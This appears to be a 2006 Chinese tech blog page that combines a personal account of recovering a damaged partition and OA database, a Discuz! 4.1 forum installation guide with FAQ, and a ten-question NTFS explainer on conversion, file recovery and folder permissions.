到网上又搜索了一下,mbr主引导记录先不用管,首先需要把分区表给恢复了才行。找到了一个软件,名称叫做“易我数据恢复向导”,正好也有注册码;一般这种软件,试用版或者说共享版本都是让你可以查到东西,但恢复的话,就让你注册;安装成功注册后,运行软件,启动时有一个检测的过程,检测成功后,好,发现了两个硬盘,这就对了;然后根据向导提示,ntfs分区,然后让向导自动检测分区,检测时有图示,一个分区一个分区都显出来了;终于检测出来了四个分区。看分区显示的容量都还正确。然后保存并且把分区表也另存了一份。

现在分区是显出来了,并且盘符也可以加载上,其他三个区都正常,但就是D区无法访问,在我的电脑中,容易属性都不显示。每当鼠标点到这个盘符的时候,整个界面就僵住了。并且有时候,打开我的电脑的时候,界面全白,无法正常显示;看来,D区估计有磁盘错误。既然分区有了,就找数据恢复软件,再找网上淘淘,找了一个EasyRecovery Professional6.10.07商业汉化版,安装以后,没看太多,直接找到数据修复中的高级检测,稍稍显示了一下,看到检测出了两个硬盘,并且每个硬盘的每个区都显出来了;现在最关键的是D区的OA数据,然后点击D区,点击下一步,左上角的目录树在不断的向下延伸,很快就看到了OA的目录;不客气,直接选中,点击下一步,依照提示,把数据另存到当前好硬盘的一个区,看着数据一点一点的检测拷贝,有时候一分种才拷贝1M,心里真是紧张;四个小时过后,数据终于拷贝完毕。这才心里稍稍安定下来。后来再试的时候,OA下边的那个目录死活都恢复不过来,真是危险!万一是旁边的OA数据库目录,这下就麻烦了。虽然不是一定完蛋,但也肯定要再费极大的周折。

把OA数据库恢复到新的OA系统上以后,登陆oa系统,发现邮件数据出现乱码;这和我以前遇到的问题基本相似,但那时候是公告数据,删除了也无所为,但现在邮件数据,对于公司内部员工来说,可能很多重要的资料都保存在上面。电话请教了一下OA系统的开发技术人员,根据技术人员所说的,在系统管理当中,有对mysql数据进行恢复的选项,根据所说,利用oa系统管理当中的“修复数据库”选项,修复了一下,过后再刷新oa系统,看邮件信息已经完全正常。至此,oa系统全部恢复完毕。

Discuz!论坛详细安装向导

0

分类 : 技术文摘 | 发表时间 08-08-2006

现在php和mysql的组合非常火,前一段时间玩phpwind,感觉还是不错;这一段时间,又把discuz下载下来测试了一把,果然不错;事实上,最新版本5.1的,也已经出来了;以下测试版本是4.1的……

  平台:WINDOWS XP SP2 + APMServ5.1.2

  测试环境:PHP程序+asp程序+asp.net程序+cgi程序;

  测试推荐:APMServ5.1.2组合服务器(这个组合是全能的)

  程序版本:Discuz! 4.10

  一、安装Discuz!论坛

  APMServ5.1.2的默认访问路径为\APMServ5.1.2\www,在WWW文件下新建了Discuz! 文件夹,把Discuz!论坛安装目录复制到Discuz!文件夹中,测试地址变为:

http://127.0.0.1/Discuz!/



  运行:

http://127.0.0.1/Discuz!/

浏览器会提示:Access denied for user:

[url=mailto:'dbuser@localhost']‘dbuser@localhost’[/url]

(Using password: YES) 错误提示:论坛数据库错误。



图1 未安装数据库时提示的错误

  解释:这个是因为还没有安装Discuz!论坛数据库,所以有错误提示。

  运行:

http://127.0.0.1/Discuz!/install.php

,系统会自动转到Discuz!论坛的安装界面。

  Discuz!安装文件夹内有4个安装语言包供您选择,各位根据自己的需要进行选择。现在选择[简体中文 GBK]格式。

  小贴士:若环境用的是国外php+sql,推荐使用[简体中文 UTF-8]语言包,因为这样大大的减少了安装过程中出现乱码的情况!

  点[简体中文 GBK]进入下一安装步骤。



图2 选择合适的语言

  出现Discuz!系列软件的授权介绍等说明,点击“我完全同意”进入安装的下一步骤。



图3 “同意”并开始安装过程

  根据空间服务商提供的资料填写完整,如有不明白请咨询服务提供商。(如果还是不太明白,干脆就制作一个此项目表格,传给服务商,让服务商帮你填写完毕。)

  此出有两点需要注意:1)填写的资料是否正确?2)是否拥有数据库空间的管理权限?如果没有管理权限,请马上联系空间管理员。

  在这里填写的是系统默认的数值,点保存配置信息进入安装下一步骤。

&namecode=pcedu&subnamecode=pcedu_index’ target=_blank>





图4 填写相关信息

  检查空间的文件权限与运行论坛环境的差异,要是发现不同的话就马上进入你的FTP选择文件设置他的写权限为777。

&namecode=pcedu&subnamecode=pcedu_index’ target=_blank>





图5 设置文件夹属性(+点击上图可放大)

  填写论坛管理员的信息,一定要记住这些资料。写完以后点击“开始安装Discuz!”进入论坛装下一步。



图6 开始安装

  系统正在新建论坛运行需要的数据库表,安装完毕后,在页面最下面列出设置好的管理员ID和密码。



图7 安装成功

  现在就安装完毕Discuz!论坛了。点击进入论坛。

&namecode=pcedu&subnamecode=pcedu_index’ target=_blank>





图8 论坛首页(+点击上图可放大)

  选择“登录”,输入刚才设置的管理员ID和密码点提交登陆论坛。



图9 登陆后台

  进入论坛,选“系统设置”,系统会新开窗口打开管理界面。



图10 进入“系统设置”
<
br/>

图11 后台设置

  在后台设置完相关设置以后,论坛就可以正常运行了!

  二、安装常见问题

  1.什么是二进制(BINARY)上传?如何设置并使用二进制上传?

  答:所有的 FTP 服务器端和客户端软件均支持两种方式的文件上传,其一为文本(ASCII)上传,其二为二进制(BINARY)上传。Discuz! 要求用户在上传 PHP 程序文件时,使用二进制的上传方式进行。原因为某些程序文件经过编译处理,使用一般的文本上传会造成文件传输错误,影响您的使用。您可以在所有的 FTP 客户端软件中找到有关二进制上传的选项,例如 LeapFTP, CuteFTP 等。以下举例说明这两种客户端软件设置 PHP 文件二进制上传的方法。

  LeapFTP:在 Options(选项)菜单中选择 Parameters(参数设置),选择其中的[ASCII 扩展名],出现列表后,选中其中的“*.PHP”,点右边的[删除],再点右边的[确定]即可。如果“*.PHP”项目不存在的话,可直接使用,不需另行设置。

  CuteFTP:进入软件后按 ALT+F7 进入 Global Options(全局选项),选择[传输]下面的[ASCII 类型],在右边列表框中找到名为“PHP”的项目,选定后点右边的[删除],再点下面的[确定]即可。如果“PHP”项目不存在的话,可直接使用,不需另行设置。



  2.如何更改文件属性?



  答:只有在服务器使用 Linux/Unix 类操作系统时,才需要在安装时对文件属性进行更改,Windows 系统的服务器不需要更改属性。您可以在 FTP 软件中,选定需要更改属性的文件或目录,然后点右键选择 CHMOD(更改文件属性),输入属性值(如 777),再确定即可。如果您的 FTP 软件提示无权更改属性,而您又没有办法通过 Shell 的方式登入主机,请与空间服务商联系,要求其授予您 CHMOD 的权限。



  3.为什么访问所有 .php 页面都会出现类似程序代码一样的信息?



  答:这种情况是因为您的服务器上 PHP 语言支持环境没有被安装,或配置不正确。请自行安装,或向空间提供商寻求解决。



  4.为什么软件提示 Unable to read xxx bytes in xxx.php in xx 这样的信息?



  答:因为您没有使用二进制(BINARY)上传 PHP 文件,请使用 FTP 软件将所有 PHP 文件重新传输一次。



  5.为什么论坛提示 Caches successfully created, please refresh?



  答:这是缓存自动更新的提示信息,通常在初次安装完成后,或缓存文件不存在由系统自动重新建立的时候出现。这个提示为正常现象,一般仅出现一次,刷新该页面即可。



  6.为什么论坛提示 Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .?



  答:出现这个提示通常因为 Cache 文件无法写入。使用 Unix 类操作系统的用户,请检查“./forumdata/和“./forumdata/cache/”和“./forumdata/templates/”这三个目录是否设置了可写属性(777),同时如果您是从其他服务器上转移论坛而来,除了需要对上述文件设置属性以外,用以下两种方式也可以解决:



  将上述三个目录中的后两个目录中的所有文件全部删除;或将上述三个目录中下的所有文件及目录属性均设置为777。



  7.如果数据库不存在,安装程序可以自动建立数据库吗?



  答:Discuz! 安装程序提供这个功能,前提是您的账号要有建库的权限才行,否则只能使用已有的数据库。



  8.一般情况下,需要修改 config.inc.php 中的什么设置?



  答:一般应用只要修改 $dbname,$dbuser,$dbpw,$dbhost,$adminemail 这五个变量,而其他保留默认或等待对论坛软件更加熟悉以后再进行修改。上面这五个变量,除了 $adminemail 外,其他均用于连接数据库,在您服务器空间的说明中都会给出,如果其中之一配置不正确就会出现数据库无法连接的错误提示而无法使用 Discuz! 论坛。如果您对此不了解,请咨询您的空间服务商,如何设置这四个变量参数。



  9.安装后论坛提示 Access denied for user@localhost using password YES’,该如何解决?



  答:这个提示意味着您的数据库连接参数设置的不正确,有两种可能:其一为数据库账号或密码错误;其二为数据库账号和密码均正确,但无权访问指定的数据库。遇到此种情况,请您咨询您的空间服务商,针对您的空间该如何配置数据库连接参数。



  10.为什么安装成功,进入系统设置后提示 Please delete install.php via FTP?



  答:因为您没有按照说明将 install.php 删除,会产生安全问题,使用 FTP 软件将其删除后这个提示自动消失。



  11.Discuz! 文件及目录结构的形式是怎样的?



  答:Discuz! 软件包通常以 tgz(tar.gz)或 zip 的格式压缩,绝大多数压缩软件可解开此类压缩格式的软件包,解压后的目录结构如下所示:



  ./users_guide.htm   用户使用说明书(本文档)

  ./usersguide/     用户使用说明书内容与图片目录

  ./upload/   程序及相关文件(此目录中的内容需上传)

  *.php           Discuz! 程序



  install.php       Discuz! 安装脚本

  config.inc.php     论坛基本配置,安装前请修改本文件

  mail_config.inc.php   邮件发送配置

  whatsnew.php       网页新帖调用程序

  admin/             系统设置程序目录

  *.php             系统设置程序集

  attachments/         空目录,请设置属性 777,用于存放附件

  customavatars/       空目录,请设置属性 777,用于存放上传头像

  forumdata/           空目录,请设置属性 777,用于存放备份及记录数据

  templates/         空目录,请设置属性 777,用于存放编译模板文件

  cache/             空目录,请设置属性 777,用于存放系统缓存

  templates/           模板文件目录

  default/             系统默认模板目录

  *.htm               系统默认模板文件

  *.lang.php           系统默认语言包文件

  images/               图片文件目录

  attachicons/           附件图标图片目录

  avatars/             论坛提供头像图片目录

  
common/               公用图片目录

  default/               系统默认风格图片目录

  smilies/             Smilies 图片目录

  stats/             流量统计图片目录

  include/               引用包含目录

  *.php                 引用包含程序集



  plugins/             空目录,用于存放插件程序

  ./utilities/           论坛附带工具

  repair.php             数据库修复工具

  restore.php               分卷备份数据恢复工具

  testmail.php               邮件发送测试工具

  upgrade(x).php               论坛升级程序


NTFS的十个精彩问答

0

分类 : 技术文摘 | 发表时间 12-06-2006

1、什么是NTFS-新(N)技术(T)文件(F)系统(S)?

  想要了解NTFS,我们首先应该认识一下FAT。FAT(File Allocation Table)是“文件分配表”的意思。对我们来说,它的意义在于对硬盘分区的管理。FAT16、FAT32、NTFS是目前最常见的三种文件系统。

  FAT16:我们以前用的DOS、Windows 95都使用FAT16文件系统,现在常用的Windows 98/2000/XP等系统均支持FAT16文件系统。它最大可以管理大到2GB的分区,但每个分区最多只能有65525个簇(簇是磁盘空间的配置单位)。随着硬盘或分区容量的增大,每个簇所占的空间将越来越大,从而导致硬盘空间的浪费。

  FAT32:随着大容量硬盘的出现,从Windows 98开始,FAT32开始流行。它是FAT16的增强版本,可以支持大到2TB(2048G的分区。FAT32使用的簇比FAT16小,从而有效地节约了硬盘空间。

  NTFS:微软Windows NT内核的系列操作系统支持的、一个特别为网络和磁盘配额、文件加密等管理安全特性设计的磁盘格式。随着以NT为内核的Windows 2000/XP的普及,很多个人用户开始用到了NTFS。NTFS也是以簇为单位来存储数据文件,但NTFS中簇的大小并不依赖于磁盘或分区的大小。簇尺寸的缩小不但降低了磁盘空间的浪费,还减少了产生磁盘碎片的可能。NTFS支持文件加密管理功能,可为用户提供更高层次的安全保证。

  2、什么系统可以支持NTFS文件系统?

只有Windows NT/2000/XP才能识别NTFS系统,Windows 9x/Me以及DOS等操作系统都不能支持、识别NTFS格式的磁盘。由于DOS系统不支持NTFS系统,所以最好不要将C:盘制作为NTFS系统,这样在系统崩溃后便于在DOS系统下修复。

  NTFS与操作系统支持情况如下:

  FAT16 windows 95/98/me/nt/2000/xp unix,linux,dos

  FAT32 windows 95/98/me/2000/xp

  NTFS  windows nt/2000/xp

  3、我们需要NTFS吗?

  Windows 2000/XP在文件系统上是向下兼容的,它可以很好地支持FAT16/FAT32和NTFS,其中NTFS是Windows NT/2000/XP专用格式,它能更充分有效地利用磁盘空间、支持文件级压缩、具备更好的文件安全性。如果你只安装Windows 2000/XP,建议选择NTFS文件系统。如果多重引导系统,则系统盘(C盘)必须为FAT16或FAT32,否则不支持多重引导。当然,其他分区的文件系统可以为NTFS。

  4、如何将FAT分区转换为NTFS?

  Windows 2000/XP提供了分区格式转换工具“Convert.exe”。Convert.exe是Windows 2000附带的一个DOS命令行程序,通过这个工具可以直接在不破坏FAT文件系统的前提下,将FAT转换为NTFS。它的用法很简单,先在Windows 2000环境下切换到DOS命令行窗口,在提示符下键入:D:\>convert 需要转换的盘符 /FS:NTFS。如系统E盘原来为FAT16/32,现在 需要转换为NTFS,可使用如下格式:D:\>convert e: /FS:NTFS。所有的转换将在系统重新启动后完成。本人推荐使用此法进行转换!

  此外,你还可以使用专门的转换工具,如著名的硬盘无损分区工具Powerquest Partition Magic 7.0,软件下载页面http://soft.km169.net/soft/html/1964.htm,使用它完成磁盘文件格式的转换也是非常容易的。首先在界面中的磁盘分区列表中选择需要转换的分区。从界面按钮条中选择“Convert Partition”按钮,或者是从界面菜单条“Operations”项下拉菜单中选择“Convert”命令。激活该项功能界面。在界面中选择转换输出为“NTFS”,之后单击“OK”按钮返回程序主界面。单击界面右下角的“Apply”添加设置。此后系统会重新引导启动,并完成分区格式的转换操作。


 5、如何在NTFS格式分区下找回意外删除丢失的文件?

  你可以使用专门的软件,如Final Data for NTFS,或者是Get Data Back for NTFS 1.04。这两个软件的文件恢复效果都不错。本人推荐使用数据恢复功能强大、速度快的Get Data Back for FAT 1.05/NTFS 1.04(是2个软件),下载地址http://download-tipp.de/cgi-bin/ … phrase&bool=and。如果在文件删除后没有任何文件操作,恢复率接近100%。所以不要等到文件删除后才安装这个软件,最好是与Windows系统一起安装,并在出现文件误删除后立刻执行恢复操作,一般可以将删除的文件恢复回来。

  6、如果Windows 2000/XP安装在C盘(NTFS格式),当Windows崩溃时在DOS状态下不能进入C盘,怎么办?

  你可以使用Windows 2000/XP的安装光盘启动来修复Windows,或者是制作Windows 2000/XP的安装启动应急盘。注意:Windows 2000的安装盘制作程序在程序的安装光盘中,而Windows XP的应急盘制作是独立提供的,需要从微软的网站下载。

  7、Final Data for NTFS或Get Data Back for NTFS可以修复被意外格式化的硬盘吗?

  这两个软件都可以恢复格式化删除的数据(低级格式化除外)。常规格式化删除的只是数据信息,低级格式化则删除全部数据区,当硬盘技术还不像现在这样发达的时候,磁盘表面很容易磨损。硬盘使用者对经常出现的读错误,往往采用低级格式化。修复被格式化的硬盘,只能将这个硬盘拆下来,安装到其他的计算机中,之后执行文件修复操作。Final Data甚至可以修复由CIH病毒破坏的硬盘。

  8、Windows 98(FAT系统)下如何直接读写NTFS文件系统?

  当电脑安装有Windows 98和Windows 2000/XP两个操作系统,如何在FAT系统下直接读写NTFS文件系统?虽然FAT系统可以转换为NTFS系统,但是有时我们需要在机器中同时安装Windows 98和Windows 2000/XP。此时的麻烦就来了,由于Windows 98不能读取Windows 2000的NTFS,那么如何进行数据交换呢?实际上我们只需要使用一个小小的软件NTFS for Windows 98就可以让Windows 98轻松读取、甚至写入NTFS分区。首先,到该工具的下载网址http://down.hothost.com/list.asp?id=514下载NTFS for Windows 98 1.07版(能读、写!)。

  解压缩后,请把CR整个目录(里边有7个读取NTFS文件系统必须使用到Windows 2000/XP的系统文件,其它3个是注释文件)COPY到C盘(也可改名为NTFS_FILES,我是这样改的),安装结束后会出现一个配置界面,在该界面中的“NTFS System Files”项中需要设置的是程序可以借用的Windows 2000/XP系统的相关文件保存路径,你就选择刚才COPY到盘的CR目录即可,然后其它什么都不必去操作,到此设置完成,单击OK按钮保存设置并退出。重启后就可以在Windows 98下访问NTFS分区了!经过实际使用,证明安装此软件后,在NTFS分区上能读、写!
以上内容本人在WIN98SE+WINXP_PROCN+WINXP_PROEN及WINME+WINXP_PROCN+WINXP_PROEN上验证通过!(2台机)

  下面的内容仅供参考,建议你不要实施,至少我是这样做的。

  “Drive Letter Assignments”项中提供的设置是设置允许可以识别的NTFS分区盘符,设置的依据可以参考在Windows 2000/XP下的盘符顺序。如果单击界面中的“Advanced”按钮,在关联界面中提供了针对设置的NTFS分区高级设置,其中包括设置为只读属性“Read-Only”、允许写入“Write-Through”。对于检查点间隔“Checkpoint Interval”和写回间隔“Writeback nterval”,使用程序提供的默认设置即可。

  9、如何在DOS系统下直接读写NTFS文件系统?

  Winternals Software LP 公司提供了工具软件解决了这个问题。用一张MS-DOS启动盘就可以作到以前不可能作到的事,修改,删除,更新 NTF
S上的文件,实际 NTFSDOS pro 是在 Windows NT 出问题时的一个修复工具。下载页面http://soft.winzheng.com/searchengine.asp,键入“NTFS”查找该站软件,就可以找出NTFSDOS PRO 4.0,最好选择服务器2下载。具体安装过程并不复杂,按照提示做好启动盘即可。

  10、在NTFS系统下,如何保护自己的文件、文件夹?

由于NTFS文件分区格式具有良好的安全性,如果你不希望自己在硬盘中的文件被其他人调用或查看,使用权限控制方式加密是非常有效的方法。设置方法非常简单:以系统管理员身份登录,使用鼠标右键单击需要加密的文件夹,选择“Properties”,切换到“Security”选项卡。在“Group of user names”项中设置允许访问的用户只有Administrator和自己。删除其他的所有用户。保存设置退出即可。此后,其他用户将不能访问该文件夹。使用这项功能需要注意的是:一定要保证只有你一个人知道Administrator密码,并且设置其他用户不能属于Administrator。此外,你还可以详细的给每个用户设置权限,包括设置读取权限、写入权限、删除权限等,这样使用起来就更加灵活。你还可以设置权限,控制一个磁盘,或者磁盘分区只为自己使用,这样其他人就不能看到你的任何东西了。

无觅相关文章插件,快速提升流量